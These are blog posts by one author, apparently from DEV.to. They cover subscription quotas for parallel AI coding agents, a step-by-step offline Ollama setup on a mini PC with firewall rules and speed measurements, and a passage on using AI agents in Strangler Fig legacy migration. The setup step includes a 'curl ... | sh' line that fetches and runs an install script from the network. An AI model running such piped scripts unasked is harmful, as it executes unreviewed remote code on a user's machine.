What I'd expect, as a hypothesis and not a result: worktrees across two providers will win on verified tasks per hour for T1, T3 and T4, and a single agent will win on T2, T5 and T6, because those three share one design decision (how a role is checked) that is cheaper to make once than to explain to three agents.

How to get more from your AI subscription

These are the habits I'd apply before upgrading any plan. Each one comes from the vendors' own guidance or follows from how usage is counted.

Clear between tasks. /clear when switching to unrelated work, /compact with a focus when continuing a long task. Every turn resends the history, so stale history is the most expensive thing in your session.
Pick the model per task. Sonnet for most Claude Code work, Opus only when it's stuck or for wide changes (/model opusplan plans with Opus and executes with Sonnet). On Codex, a lighter model for routine edits buys you a much larger allowance.
Keep the always-loaded files small. Anthropic suggests keeping CLAUDE.md under 200 lines; OpenAI suggests reducing the size of AGENTS.md. Both get read on every session.
Turn off what you don't use. Every MCP server adds to the context: in Claude Code its tool names and instructions (full definitions load only when a tool is used), in Codex context on every message. Both vendors say to disable the servers you don't need, and Anthropic suggests CLI tools like gh when they exist.
Delegate verbose work, not judgement. Send searches, test runs and log reading to a subagent with a cheap model, and keep design decisions in the main session.
Split by provider, not only by pane. Put independent projects or tasks on the plan that has quota left.
Write the task down. A task file with acceptance criteria and the test command saves the back-and-forth that burns tokens, and it lets you hand the same task to a different agent after a reset.
Watch the meter before you start, not when it stops you. Check /usage or /status before launching parallel work. If the window is 80% spent, start one task, not four.
Turn on paid overflow deliberately. Usage credits are opt-in and billed at API rates. Set a monthly cap if you enable them, so a forgotten agent can't run up a bill.
Check that ANTHROPIC_API_KEY is unset in shells where you mean to use your subscription.

A decision framework

Workload	Best fit	Why
One feature, steps depend on each other	Single agent, `/clear` between features	Shared decisions stay in one context
Unrelated projects	tmux sessions, mixed providers	Clean parallelism, two quotas
Independent tasks in one repository	Worktrees, one agent each	File isolation, simple merges
Search, test runs, log analysis, review	Subagents with a cheaper model	Keeps the main context small
Debugging with competing hypotheses, broad research	Agent Team, few teammates	Teammates challenge each other; worth the tokens
Same files, shared schema, tight dependencies	Single agent	Parallel agents create semantic conflicts
Three or more agents, or you lose track of which is blocked	Orca or a similar tool	Pays back in attention, not quota
Window almost spent	One small task, or switch provider	Interrupted work stalls, and resuming re-reads the whole context

Final verdict

So, are parallel AI agents making developers more productive, or just reaching the limit faster?

Both, depending on the work. Parallel agents are worth it when tasks are truly independent, when each one has written acceptance criteria and tests, when the work is spread across two providers' quotas, and when your review capacity keeps up with what they produce. A single agent is the better choice when the tasks share decisions, touch the same files or depend on each other, which, according to Anthropic's own engineering team, describes more coding work than research work.

What doesn't hold up is the idea that more agents means more software. Every architecture in this post spends from a limited pool, and every one of them ends at the same place: a person reading a diff and deciding whether it's right.

The best AI coding workflow is not the one running the most agents. It's the one producing the most verified engineering value within its constraints.

Takeaway

Your quota is shared. Every Claude Code pane, subagent and chat draws from one Pro pool; Codex local and cloud work share one Plus pool.
Subagents save context, not tokens. Use them for verbose, read-heavy work, with a cheaper model.
Agent Teams cost about 7x in plan mode. Use them for work that benefits from discussion, not for routine edits.
Worktrees isolate files, not processes. Separate databases, ports and credentials need their own isolation.
Two $20 plans are two pools. Splitting work by provider is the cleanest way to get more allowance without upgrading.
Count verified tasks per hour, not agents running or lines generated.

How many agents can you run before your review becomes the bottleneck, and what did you change when you hit that point? Tell me in the comments.

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at @diogosoares.dev, where the habits from this post become a carousel you can save for your next planning session. This article also has a video walkthrough on my YouTube channel, Diogo Soares Dev, so subscribe there for the next ones. Let's also connect on LinkedIn, or check out diogosoares.dev.

I Ran AI Offline for 7 Days. Was It Worth It?

Diogo Soares — Fri, 30 Oct 2026 10:10:14 +0000

I typed "Olá" into my own offline chat and waited. Twenty-four seconds later, the model said hello back.

The model wasn't broken and the hardware wasn't dead. The slowness came from two settings I didn't know were on, and finding them taught me more about running AI offline than any benchmark chart.

Here's the setup. I bought a small mini PC, the NiPoGi P1, for €200, to run a few experiments at home. One of them: run two open models, Gemma 4 E4B for general questions and Qwen2.5-Coder 7B for code, on that box with no internet access at all, and use them from my Mac over the home network for a week.

This post covers:

The hardware, and whether its "AMD Radeon" sticker means a real GPU.
How to build the same setup, step by step: Ollama, the models, network access and a firewall that keeps the box off the internet.
The real numbers, in tokens per second, on CPU and on the integrated GPU.
Three things that made it slow that had nothing to do with the model.
What I used it for, whether more RAM would help, and my verdict.

The hardware: a 15 W laptop chip in a box

The NiPoGi P1 is a mini PC that fits in one hand. Mine has this configuration:

Part	What it is
CPU	AMD Ryzen 3 3300U: 4 cores, 4 threads, Zen+, 15 W (specs)
GPU	Radeon Vega 6, integrated in the processor
RAM	16 GB DDR4
Storage	512 GB SSD
Price	€200, what I paid

Does it have a GPU? Yes, but not the kind people mean when they talk about running AI. The Vega 6 lives inside the processor and has no memory of its own: it borrows from the same 16 GB of system RAM. When I checked from inside the container, Vulkan reported it as AMD Radeon Graphics (RADV RAVEN), so it is usable. Keep the "shares the RAM" part in mind, because it explains most of the numbers later.

The 3300U is a 2019 laptop processor. I didn't buy this box to win benchmarks. I bought it to find out where the floor is: how much useful AI you get from cheap, quiet, low-power hardware.

Build the same setup, step by step

Any Linux machine on your home network works: an old laptop, a mini PC, a virtual machine. Mine runs Proxmox VE, so everything below runs inside a Debian 13 container with 4 cores and 10 GB of RAM, and the integrated GPU passed into it. Setting up Proxmox itself deserves its own article, so here I'll stick to what works on any Debian or Ubuntu box. Run the commands as root or with sudo.

Step 1: Install Ollama (the box still needs internet here)

Ollama downloads, runs and serves the models. The official installer sets it up as a systemd service with its own ollama user:

curl -fsSL https://ollama.com/install.sh | sh
ollama --version

If piping a script into a shell makes you uneasy, read it first, or follow the manual install in the Ollama Linux docs. On my AMD box the installer warned that it couldn't detect an NVIDIA or AMD GPU. That warning is about CUDA and ROCm drivers, which this integrated GPU doesn't use anyway.

For the integrated GPU, install the Vulkan drivers and check that the GPU shows up:

apt install -y mesa-vulkan-drivers vulkan-tools
vulkaninfo --summary | grep deviceName

Mine reported AMD Radeon Graphics (RADV RAVEN). This step is optional: everything works on the CPU alone.

Step 2: Download the models

Two downloads, done while the box still had internet:

ollama pull gemma4:e4b        # 6.6 GB on disk
ollama pull qwen2.5-coder:7b  # 4.7 GB on disk

Gemma 4 E4B is Google's small multimodal model: "E4B" means about 4.5 billion effective parameters, around 8 billion counting embeddings (Ollama library). It reads images too, which matters later. Qwen2.5-Coder 7B is a code model from Alibaba's Qwen team.

Step 3: Open Ollama to the home network

By default Ollama only listens on localhost. A systemd override changes that, plus a few settings that matter on small hardware:

# /etc/systemd/system/ollama.service.d/override.conf
[Service]
Environment=OLLAMA_HOST=0.0.0.0:11434
Environment=OLLAMA_MAX_LOADED_MODELS=1
Environment=OLLAMA_NUM_PARALLEL=1
Environment=OLLAMA_KEEP_ALIVE=15m
Environment=OLLAMA_IGPU_ENABLE=1

systemctl daemon-reload
systemctl restart ollama

Each line has a reason:

OLLAMA_HOST=0.0.0.0:11434 makes Ollama listen on the network, so the Mac can reach it.
OLLAMA_MAX_LOADED_MODELS=1: both models together don't fit in 10 GB, so only one stays in memory.
OLLAMA_NUM_PARALLEL=1: four slow cores serve one request at a time; parallel requests just queue.
OLLAMA_KEEP_ALIVE=15m unloads a model after 15 idle minutes.
OLLAMA_IGPU_ENABLE=1 lets Ollama use the integrated GPU through Vulkan. Without it, my Ollama version ignored the iGPU. Leave it out if you skipped the Vulkan step. The Vulkan backend itself has its own switch, OLLAMA_VULKAN; on my version (0.35.0) the server log already showed it on (OLLAMA_VULKAN:true), but on older versions you may need OLLAMA_VULKAN=1 as well.

Step 4: Test it from another machine

From the Mac (or any computer on the same network), ask the API which models it has. Replace the IP with your box's:

curl http://192.168.1.214:11434/api/tags

If the JSON lists gemma4:e4b and qwen2.5-coder:7b, the network part works. The section "How I used it from the Mac" below turns this into a chat.

Step 5 (optional): A chat interface in the browser

Open WebUI gives you a ChatGPT-style page with history and image upload. I ran it in Docker on the same box:

docker run -d --name open-webui --restart unless-stopped --network host \
  -e OLLAMA_BASE_URL=http://127.0.0.1:11434 -e PORT=3000 \
  -v open-webui:/app/backend/data ghcr.io/open-webui/open-webui:main

It opens on port 3000. :main follows the latest build; pin a release tag if you want the same version next month. Read the "Three things that made it slow" section before using it on slow hardware: two of its defaults cost me almost a minute per message.

What "offline" means in this setup

"Offline" here doesn't mean the cable is unplugged. The mini PC is on my home network, but it can't reach the internet. The models live on that box, and my Mac talks to them over the local network:

  Internet
     ✕   blocked by the firewall (nothing goes out)
     │
  Home router ── 192.168.1.0/24 (home network)
     │                     │
   Mac  ─── HTTP :11434 ──▶ Mini PC
  (terminal,  HTTP :3000 ──▶   Ollama + Gemma + Qwen
   browser)                    Open WebUI

The Mac still has internet. What matters is where my prompts go: from the Mac, across the home network, to the mini PC, and nowhere else. The mini PC has no route out, so even a misbehaving tool inside it has nothing to send data to.

Step 6: Close the door

The internet was needed only for steps 1, 2 and 5. After that, a firewall that drops all outgoing traffic turns the box into an offline AI server. I did it with the Proxmox firewall on the container. On a plain Debian or Ubuntu box, ufw does the same:

ufw default deny incoming
ufw default deny outgoing
ufw allow from 192.168.1.0/24 to any port 22 proto tcp      # SSH
ufw allow from 192.168.1.0/24 to any port 11434 proto tcp   # Ollama API
ufw allow from 192.168.1.0/24 to any port 3000 proto tcp    # Open WebUI
ufw allow out 67/udp                                        # DHCP renewals
ufw enable

What matters in it:

Outgoing traffic is denied by default, so the box can't open a connection to anything. Replies to the requests it accepts still go back, because the firewall tracks connections.
Inbound, only three ports, and only from the home network. Keep the SSH rule if the box has no screen, or you lock yourself out.
The DHCP rule lets the box ask to renew its IP lease; ufw's built-in rules already accept the router's reply. A DHCP reservation in your router keeps the address stable for the Mac. If you give the box a static IP instead, drop the rule. Networks with IPv6 or other extras may need more rules, so run the check below.
Docker writes its own firewall rules for ports published with -p, and traffic to those ports skips ufw's input rules. With --network host, as above, nothing is published: Open WebUI listens on the host itself, so the port 3000 rule applies. If you run other containers with -p, check them separately.

To check it, run something that needs the internet on the box and watch it fail:

curl -sS --max-time 5 https://ollama.com || echo "no internet, as expected"

Updates and new models now mean opening the door on purpose (ufw disable, update, ufw enable). That's the point.

One honest limit: Ollama's API has no authentication. Anyone on my home network, including guests on the Wi-Fi, could use the models. The firewall keeps the internet out; it doesn't pick who inside the house gets in.

The numbers: tokens per second

I measured both models with the same coding prompt, generating 150 tokens, first on CPU only and then with Vulkan on the integrated GPU. This is one week of real use with a few measurements, not a controlled lab benchmark, so here is exactly how I measured:


Ollama	0.35.0, `ollama run <model> --verbose`
Models	`gemma4:e4b` and `qwen2.5-coder:7b`, default 4-bit tags
Context	Ollama's default (`OLLAMA_CONTEXT_LENGTH` not set)
Container	4 cores, 10 GB RAM, iGPU passed in
When	The setup day, 2 October; not re-measured at the end of the week

Two numbers matter:

Generation: how fast the answer appears. This is the speed you feel.
Prompt reading: how fast the model reads what you send. It matters when you paste a long file or log.

Model	Generation, CPU	Generation, Vulkan	Prompt reading, CPU	Prompt reading, Vulkan
Gemma 4 E4B	5.5 tok/s	8.1 tok/s	14.4 tok/s	16.8 tok/s
Qwen2.5-Coder 7B	5.5 tok/s	4.5 tok/s	10.0 tok/s	27.7 tok/s

The integrated GPU didn't make everything faster. It changed which part was fast. For Qwen, prompt reading got almost three times faster while generation got slower. For Gemma, generation went up by about half. I don't have a clean explanation for why the two models moved in opposite directions, so I kept Vulkan on, because it won for the model I used the most.

The pattern makes sense once you remember the shared RAM. Reading a prompt is heavy math, and the GPU's extra compute helps. Generating each new token means reading the model's weights from memory again, and the iGPU reads from the same RAM, at the same speed, as the CPU.

To put 8 tokens per second in human terms: a long paragraph takes 20 to 30 seconds to finish appearing. You can read along, but you wait.

Switching models costs more. Only one fits in memory, so the first message after a switch spends 10 to 20 seconds loading the other one.

Three things that made it slow (none of them was the model)

Back to the 24-second "Olá". It came from two defaults I didn't know about. A third cost showed up later in the week.

1. Thinking mode was on by default

Gemma 4 supports a "thinking" mode, and in Ollama it's on by default. For a simple "Olá", the model wrote about 700 characters of internal reasoning before answering.

Mode	Time to answer "Olá"
Thinking on (default)	~25 s
Thinking off	~2 s

The model wasn't slow; it was doing far more work than the question needed (192 generated tokens instead of 10). I turned thinking off by default (Open WebUI has a "Think" switch in the model's advanced parameters) and switch it on only for a hard question.

2. The chat interface added 2,000 tokens to every message

Even with thinking off, Open WebUI was still slow. The Ollama logs showed why: my "Olá" arrived at the model as 2,051 tokens of input, when the message itself is a handful.

Open WebUI attaches the descriptions of its built-in tools (memory, code interpreter, web search, image generation) to every message for models that support tool calling, and Gemma 4 does. On a cloud model you never notice. Here, the model spent about 55 seconds reading those tools and 1.5 seconds writing the answer. The tools were also useless: web search with no internet doesn't search anything.

The fix was to untick those capabilities in the model's settings (Admin Panel, Settings, Models) and to turn off the extra tasks that call the model behind your back: tag generation, follow-up suggestions and autocomplete. Every one of those is another request in a queue of one.

On slow hardware, the size of the prompt matters more than the size of the answer. Do the math for any tool you put in front of a local model: at 15 to 30 tokens per second of prompt reading, 10,000 tokens of system prompt means 5 to 11 minutes before the first word. That rules out most coding agents built for cloud models on this box.

3. The model switch

Not a bug, a cost: 10 to 20 seconds whenever I jumped between Gemma and Qwen. I learned to stay in one model per session.

How I used it from the Mac

Two ways, both over the home network.

The terminal. I installed only the Ollama client on the Mac and pointed it to the mini PC. I use the fish shell, so the setup is two lines plus one function per model:

set -Ux OLLAMA_HOST http://192.168.1.214:11434

function gemma
    ollama run gemma4:e4b --verbose --think=false $argv
end

Typing gemma opens an interactive chat that runs on the mini PC. --verbose prints the speed after every answer, which turned the whole week into a small benchmark:

eval rate:            9.73 tokens/s
prompt eval rate:     7.54 tokens/s
total duration:       1.81s

That run was a short greeting; a real three-sentence explanation of DNS took about 16 seconds end to end, at around 6 tokens per second.

The browser. Open WebUI on http://192.168.1.214:3000, for the two things the terminal does badly: keeping a searchable history and sending images.

During the week I used it for three things:

Use	Model	How it went
Quick questions ("what does this flag do?")	Gemma, terminal	The best fit. Short answers arrive in seconds.
Small code: explain a snippet, write a function, read a pasted log	Qwen	Useful for small pieces. Pasting code is where Vulkan's faster prompt reading pays off.
Reading screenshots and photos	Gemma, Open WebUI	It works, and nothing leaves the house. Slower than text.

What I didn't do is real daily work: long conversations, large files, an agent editing a project. At 5 to 8 tokens per second, the waiting adds up fast.

Would 32 GB of RAM make it faster?

This was my first instinct, and it's mostly wrong.

More RAM lets you load bigger models. It doesn't make generation faster. Generating each token means reading the model's weights from memory, so the ceiling is roughly memory bandwidth divided by model size. This is a rule of thumb, not an exact formula, but it's consistent with what I measured:

Dual-channel DDR4-2400:  2 channels × 8 bytes × 2,400 MT/s ≈ 38 GB/s (theoretical peak)
Qwen2.5-Coder 7B:        4.7 GB of weights

Ceiling ≈ 38 / 4.7 ≈ 8 tokens/s     (measured: 4.5 to 5.5)

The 38 GB/s is the theoretical peak. Real memory traffic gets less than that, which is part of why the measured speed sits below the ceiling.

The 3300U's memory controller tops out at DDR4-2400 in dual channel (Notebookcheck). Going from 16 to 32 GB doesn't move that number. It lets you load a 14B model, which is about twice as big, so it would generate roughly half as fast.

One exception is worth checking. Reviews of this model show units shipping with a single 16 GB stick and one free slot. One stick means single channel, half the bandwidth. If that's your unit, two matched sticks are the one memory upgrade that can make it faster. Check before you buy:

sudo dmidecode -t memory | grep -E "Size|Locator|Speed"

What would really change the experience is a different class of machine: one where the GPU has fast memory and lots of it. A mini PC like the Bosgame M5, with an AMD Ryzen AI Max+ 395 and 128 GB of LPDDR5X shared between CPU and GPU, has around 256 GB/s of bandwidth. By the same rule of thumb, that's a ceiling several times higher for the same model, and enough memory for much larger ones. I haven't tested one myself. A friend bought one, tested it and is happy with the results, but it's a big investment: at the time of writing it costs several times more than my mini PC, and prices move a lot with memory supply.

So, was it worth it?

My verdict after a week: worth it for quick questions, privacy and small pieces of text or code. Too slow for daily work.

	Offline on the mini PC	Cloud model
Privacy	Prompts never leave the house	Prompts go to a provider
Cost per use	No API fees (hardware and electricity only)	Subscription or per token
Works without internet	Yes, anything on the home network	No
Speed	5 to 8 tokens/s; long prompts are painful	Fast enough not to think about it
Quality on hard problems	A 4B to 7B model: fine for small tasks	Much stronger
Agents and big contexts	Not realistic here	Yes

The part I'd keep even if I switched the box off tomorrow is what it taught me: on modest hardware, speed is mostly about memory bandwidth and prompt size, and the defaults of tools built for cloud models (thinking on, a dozen built-in tools) can make a working setup feel broken.

If you have an old laptop or a cheap mini PC, try this before buying anything. A weekend is enough to learn where your floor is, and the firewall rules above keep the experiment truly offline.

FAQ

Do I need Proxmox?
No. Proxmox only gives the models their own container on a box that runs other things too. The steps above work on any Debian or Ubuntu machine; I'll cover the Proxmox side in a separate article.

Why Gemma 4 E4B and Qwen2.5-Coder 7B?
They are small enough to fit in 10 GB of RAM at 4-bit quantization, and they cover two different needs: general questions with image input, and code.

Is Ollama's network API safe?
It has no authentication. Only expose it to a network you trust, and restrict it with firewall rules to the clients that need it.

Should I use the integrated GPU?
Measure both. On this box, Vulkan made prompt reading much faster for Qwen and generation faster for Gemma, but generation slower for Qwen. Ten minutes of testing with --verbose answers it for your hardware.

Takeaway

"Offline" can be a firewall rule. Block outbound traffic from the AI box and use it from your other devices over the home network.
An integrated GPU shares your RAM. It speeds up prompt reading more than generation.
Check the defaults first. Thinking mode and built-in tools turned a 2-second answer into 25 to 55 seconds.
Prompt size is the hidden cost. Every token a tool adds has to be read at 15 to 30 tokens per second.
More RAM buys capacity, not speed. Bandwidth sets the ceiling; dual channel matters more than 32 GB.
Local AI is a great second tool, not yet a replacement on cheap hardware.

What's the smallest machine you've run a local model on, and what did you actually use it for? Tell me in the comments.

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at @diogosoares.dev, where the numbers from this experiment become a carousel you can save for your own homelab. This article also gets a video walkthrough on my YouTube channel, Diogo Soares Dev, so subscribe there for the next ones. Let's also connect on LinkedIn, or check out diogosoares.dev.

Strangler Fig + AI Agents: Can We Automate Legacy Modernization Safely?

Diogo Soares — Wed, 28 Oct 2026 09:17:24 +0000

Imagine the ticket says: "Move shipping quotes out of the monolith." You point an AI agent at a 15-year-old codebase. Four minutes later it hands you a tidy summary: one endpoint, one calculator class, two database tables, no writes. It reads like a senior engineer wrote it.

It is also missing something. A nightly batch job calls the same calculator directly, without going through the endpoint. Route the endpoint to a new service, and that job keeps running the old rules. Nobody notices until the numbers stop matching.

That's the honest picture of AI in legacy modernization today. Agents are very good at the heavy reading that used to take weeks. They are also confident in a way that has nothing to do with being right. The Strangler Fig pattern gives you a way to use the first property without being exposed to the second, as long as you build the migration around one rule:

AI agents can accelerate legacy modernization. But verification, not model confidence, must be the gate to production.

This post covers:

Why big-bang rewrites fail and what the Strangler Fig pattern changes.
A pipeline of specialized agents, with the input, output and permissions of each one.
A worked (hypothetical) example: extracting one capability, building the facade, shifting traffic and retiring the old path, with objective criteria to accept or reject the migration.
What should never be fully autonomous, and how to measure whether the agents are helping.

The rewrite trap

Every legacy system eventually triggers the same conversation: "It would be faster to rewrite it." It almost never is. Martin Fowler's Strangler Fig Application lists the reasons: a replacement takes a long time, the business can't freeze new features while it waits, and the existing behavior is hard to pin down, partly because much of it is no longer wanted.

That third reason is the one I'd underline. Having worked on modernization in banking and in product companies, my view is that the expensive part is rarely writing the new code. It's knowing what the old code actually does, including the things nobody wrote down.

The Strangler Fig pattern answers this by never doing the swap in one go. A facade sits in front of the legacy system and routes each request either to the old code or to the new service. You move one capability at a time, and the legacy system keeps serving everything else.

                       ┌──────────────────────┐
 clients ──▶ FACADE ──▶│  legacy monolith      │  (everything not migrated yet)
               │       └──────────────────────┘
               └──────▶ new service            (one capability at a time)

The Azure Architecture Center describes the end state: when no functionality and no dependency is left in the legacy system, you decommission it and eventually remove the facade. Until then you pay for transitional architecture, code that exists only so old and new can coexist. Fowler's argument is that the lower risk and earlier value are worth that cost.

	Big-bang rewrite	Strangler Fig
When value arrives	At the end, if ever	After the first capability
Blast radius of a mistake	The whole system	One capability, behind a router
Rollback	Usually "go back to the old system" under pressure	Change one route
Knowledge of old behavior	Needed up front, for everything	Needed per capability, when you migrate it

Notice the last row. The pattern doesn't remove the need to understand the legacy system. It spreads that work across the migration. That's exactly the work agents are now good at speeding up.

Where AI agents enter the picture

The strategy stays the same. Incremental migration, coexistence and controlled risk are the foundations of the pattern, and agents don't change them. What agents change is the cost of the steps around each migration: discovery, documentation, test generation, and the implementation of a well-specified slice.

There is public evidence for both the speed-up and its limits:

Thoughtworks built CodeConcise, which parses legacy code into abstract syntax trees, stores them in a knowledge graph and lets an LLM explain and query it. In a proof of concept on a COBOL/IDMS system, they estimated reverse engineering a 10,000-line module could drop from 6 weeks to 2. The same article insists that "the human is in full control" of the outputs and that subject-matter experts validate them.
Google published an experience report on LLM-driven code migrations. For one large migration, 80% of the code changes in the landed changelists were fully AI-authored, and engineers estimated the total time dropped by about 50%. They also wrote that code review and rollouts "still require a human operator", and in another migration the review speed was the bottleneck.

Both reports point at the same split. Agents are strong at producing artifacts. Humans and deterministic checks are still what make those artifacts trustworthy. So the design question is not "how autonomous can the agents be?". It's "what does each agent produce, and how do we check it before anything depends on it?".

Designing an agentic modernization pipeline

Instead of one agent that "migrates the module", I'd use a chain of narrow agents. Each one has a single job, a limited set of permissions and a verifiable artifact as output. If an artifact fails its check, the chain stops there, before the mistake spreads into code, tests and routing.

Agent	Input	Output artifact	Can write to	Verified by
1. Discovery	Legacy repo, DB schema, sanitized traffic sample	`capability-map.yaml`, every claim with evidence	Nothing (read-only)	Static call graph cross-check + engineer samples claims
2. Characterization	Capability map, traffic sample	Golden cases + test suite	`tests/characterization/`	Suite passes 100% against legacy; mutation testing shows it fails when rules break
3. Contract	Capability map, golden cases	OpenAPI spec + consumer contract tests	A pull request	Capability owner approves the contract
4. Implementation	Approved contract, golden cases (read-only)	New service	New service repo, not the tests	CI: characterization + contract + security scans
5. Rollout	Gate evidence, routing config	Routing change + rollback runbook	A config pull request	Humans approve; the pipeline applies it

Two design choices do most of the safety work here.

The agent that writes the code can't touch the checks that judge it. The characterization suite is produced earlier, validated against the legacy system, and mounted read-only for the implementation agent. I argued the same in Dark Factory vs. Light Factory: without that boundary, a green suite proves very little.

Every claim carries evidence. A discovery summary in prose is impossible to check at scale. A claim with a file and line number, or a traffic sample, can be checked by a script or a human in seconds.

Migrating one capability at a time: a worked example

The example below is hypothetical, but the shape is realistic: a Java monolith with a ShippingCalculator and an endpoint that returns a shipping quote. It's a good first slice for a reason worth copying: it computes a value and writes nothing to the database, so old and new can run side by side without competing for data. That alone doesn't make it safe to run twice, as Step 1 shows.

Step 1: discovery with evidence

The discovery agent gets read access to the repository, the schema and a sanitized sample of requests. Its output is not an essay. It's a map:

# capability-map.yaml (produced by the discovery agent)
capability: shipping-quote
entry_points:
  - POST /api/shipping/quote -> ShippingController.quote  # ShippingController.java:48
  - batch: RecalculateOpenQuotesJob.run                    # RecalculateOpenQuotesJob.java:31
reads: [SHIPPING_RATES, CUSTOMER.TIER]
writes: []                       # no direct INSERT/UPDATE found in the call graph
external_calls:
  - CarrierRatesClient.fetchSurcharge  # HTTP, 3s timeout, side effects unknown
business_rules:
  - id: R1
    rule: "Orders of 50.00 EUR or more ship free, compared after tax"
    evidence: ShippingCalculator.java:212
    status: unconfirmed
open_questions:
  - "Line 240 adds 1.50 EUR for postcodes starting with 9 in December. Business rule or leftover?"
  - "Is fetchSurcharge billed or rate-limited per call? Does the carrier record quotes?"

This is where the opening scene gets resolved. The second entry point, the batch job, is the dependency a prose summary tends to drop. A deterministic call graph tool can confirm that both callers exist, and an engineer can sample a handful of rules against the code. Each rule stays unconfirmed until someone with evidence says otherwise.

The open_questions list matters as much as the rules. A good discovery agent is useful precisely because it surfaces the strange things, like a December surcharge for one postcode range, instead of quietly deciding what they mean.

The second question is about safety, not business rules. No database writes is not the same as no side effects. If the carrier bills per call, rate-limits you or records every quote, running old and new in parallel doubles that effect. Shadowing is safe only once every external call in the path has been checked, and that check needs someone who knows the carrier contract, not just the code.

Step 2: characterization tests against the legacy system

Next, the characterization agent turns the map into golden cases: inputs that exercise each rule, plus the output the agent predicts from its reading of the code. Cases taken from the traffic sample add real inputs, with the outputs the legacy system actually returned.

{
  "id": "free-shipping-threshold-is-inclusive-after-tax",
  "request": { "weightKg": 2.4, "destination": "PT", "orderTotalCents": 5000, "customerTier": "standard" },
  "expected": { "status": 200, "body": { "amountCents": 0, "currency": "EUR", "rules": ["R1"] } },
  "evidence": ["ShippingCalculator.java:212", "traffic-sample-2026-10-07"]
}

The same suite runs against both systems, switching only the target URL:

import { describe, it, expect } from "vitest";
import cases from "./golden/shipping-quote.cases.json";

const TARGET_URL = process.env.TARGET_URL ?? "http://localhost:8080";

describe("shipping quote characterization", () => {
  it.each(cases)("$id", async ({ request, expected }) => {
    const response = await fetch(`${TARGET_URL}/api/shipping/quote`, {
      method: "POST",
      headers: { "content-type": "application/json" },
      body: JSON.stringify(request),
    });

    expect(response.status).toBe(expected.status);
    expect(await response.json()).toEqual(expected.body);
  });
});

The rule for accepting this suite is strict: it must pass 100% against the unchanged legacy system. A failing predicted case means the agent misread the old behavior, and that's a bug in its understanding, not in the monolith. Fix the case and the capability map together, so the misreading doesn't survive in the documentation. Running a mutation testing tool (PIT for Java, Stryker for JavaScript or .NET) on the legacy calculator then tells you whether the suite actually catches broken rules or just passes.

This is also where a human makes the first real decision. The December surcharge is either a business rule or a forgotten hack. My recommendation is to migrate first and change behavior later: keep the new service bug-compatible during the migration, and fix the rule in a separate, visible change afterwards. If you mix the two, every difference between old and new becomes ambiguous.

Step 3: the facade and the routing modes

With the contract approved and the new service passing the suite in CI, the facade gets four modes per route. This is an illustrative sketch in TypeScript; in production the same logic often lives in an API gateway or a service mesh.

type RouteMode = "legacy" | "shadow" | "canary" | "new";
interface RouteConfig { mode: RouteMode; canaryPercent: number }
interface ShadowJob { correlationId: string; body: string; legacyStatus: number; legacyBody: string }
interface ShadowQueue { enqueue(job: ShadowJob, signal: AbortSignal): Promise<void> }

const LEGACY_URL = process.env.LEGACY_URL ?? "http://legacy:8080";
export const NEW_URL = process.env.SHIPPING_SERVICE_URL ?? "http://shipping:8080";
// Above the carrier's 3s timeout plus processing, below the 5s the checkout allows for a quote
const UPSTREAM_TIMEOUT_MS = 4_000;
// The most latency the shadow path may ever add to a customer request
const ENQUEUE_TIMEOUT_MS = 50;

export async function routeShippingQuote(body: string, config: RouteConfig, shadowQueue: ShadowQueue): Promise<Response> {
  const correlationId = crypto.randomUUID();
  if (config.mode === "new") return forward(NEW_URL, body, correlationId);
  if (config.mode === "canary" && Math.random() * 100 < config.canaryPercent) return forward(NEW_URL, body, correlationId);
  const legacyResponse = await forward(LEGACY_URL, body, correlationId);
  if (config.mode !== "shadow") return legacyResponse;
  const legacyBody = await legacyResponse.text();
  const job = { correlationId, body, legacyStatus: legacyResponse.status, legacyBody };
  // A slow or failing queue is logged and skipped: the shadow path must never affect the customer
  await enqueueWithin(shadowQueue, job, ENQUEUE_TIMEOUT_MS).catch(recordShadowError);
  return new Response(legacyBody, { status: legacyResponse.status, headers: { "content-type": "application/json" } });
}

// The signal lets the queue client cancel the send; the race keeps the bound even if it ignores the signal
async function enqueueWithin(queue: ShadowQueue, job: ShadowJob, timeoutMs: number): Promise<void> {
  const controller = new AbortController();
  const timer = setTimeout(() => controller.abort(new Error("shadow enqueue timed out")), timeoutMs);
  const aborted = new Promise<never>((_, reject) => controller.signal.addEventListener("abort", () => reject(controller.signal.reason)));
  try {
    await Promise.race([queue.enqueue(job, controller.signal), aborted]);
  } finally {
    clearTimeout(timer);
  }
}

export function forward(baseUrl: string, body: string, correlationId: string): Promise<Response> {
  return fetch(`${baseUrl}/api/shipping/quote`, {
    method: "POST",
    headers: { "content-type": "application/json", "x-correlation-id": correlationId },
    body,
    signal: AbortSignal.timeout(UPSTREAM_TIMEOUT_MS),
  });
}
// recordShadowError omitted: it sends the error to your metrics pipeline.

A worker consumes the queue outside the request path, calls the new service and records the comparison under the same correlation id:

export async function handleShadowJob(job: ShadowJob): Promise<void> {
  const candidate = await forward(NEW_URL, job.body, job.correlationId);
  const expected = { status: job.legacyStatus, body: JSON.parse(job.legacyBody) };
  const actual = { status: candidate.status, body: await candidate.json() };
  recordComparison(job.correlationId, classifyDifference(expected, actual));
}
// classifyDifference applies the approved tolerances (see the gate below);
// recordComparison stores the result with the correlation id for later inspection.

What matters in it:

In shadow mode the customer always gets the legacy answer. The new service runs on the same input and only its differences are recorded. This is the same idea as GitHub's Scientist library, which always returns the old code path's result and publishes mismatches.
The comparison runs from a queue, not a fire-and-forget promise. A detached promise after the response is not guaranteed to finish, especially on serverless runtimes that freeze the instance once the response is sent. A queue (or a background-task API your runtime documents, such as waitUntil on Cloudflare Workers) makes the comparison survive, and lets you retry it.
The enqueue itself is still on the request path, so it gets a hard time limit: in the worst case shadowing adds 50 milliseconds, and a slow queue costs you a comparison, never a customer request. The abort signal asks the queue client to cancel the send too, so a timed-out enqueue doesn't keep working in the background; use a client that accepts a signal or has its own native timeout. If even that is too much, hand the job to something the infrastructure runs off the request path, such as that background-task API or a local agent that ships the records to the queue.
The correlation id travels in a header to both systems and into the comparison record. Without it, a mismatch in your metrics can't be traced back to the two log lines that explain it.
The timeout comes from the dependencies, not from a round number. The legacy path waits up to 3 seconds for the carrier, so a 2-second facade timeout would fail requests the legacy system was about to answer correctly. Size it from the slowest dependency and the latency budget of the caller.
Shadowing is safe here only after the external-call check from Step 1. Scientist's own README warns that it's only safe for code that doesn't change data. For capabilities with side effects, you need a sandbox for the new path, or you compare the intended effect (the command it would send) instead of executing it twice.
